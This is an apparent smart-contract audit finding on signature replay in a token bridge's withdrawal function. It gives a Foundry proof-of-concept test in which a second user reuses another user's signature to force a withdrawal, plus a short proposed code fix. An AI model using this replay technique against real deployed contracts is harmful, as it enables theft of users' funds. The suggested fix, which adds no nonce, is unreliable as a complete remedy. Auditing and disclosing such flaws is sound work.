Assuming that the amounts deposited/withdrawn are correctly handled (which is obviously not the case here), since the function sendToL1
does not check if the signer is the sender of the tx, anyone can easily replay a signature. Additionnal protections like nonce.. would have also prevented this.
A malicious user can force any signed user to withdraw from vault.
function testUser2CanReplayUser1Sig() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, 5 ether), operator.key);
tokenBridge.withdrawTokensToL1(user, 5 ether, v, r, s);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), depositAmount - 5 ether);
assertEq(token.balanceOf(address(user)), userInitialBalance - 5 ether);
assertEq(token.balanceOf(address(vault)), 5 ether);
address user2 = makeAddr("User2");
vm.prank(user2);
tokenBridge.withdrawTokensToL1(user, 5 ether, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance);
}
High, users are forcefully removed from L2. A core functionality is exposed.
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
+ if (signer != msg.sender){
+ revert();
+ }
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}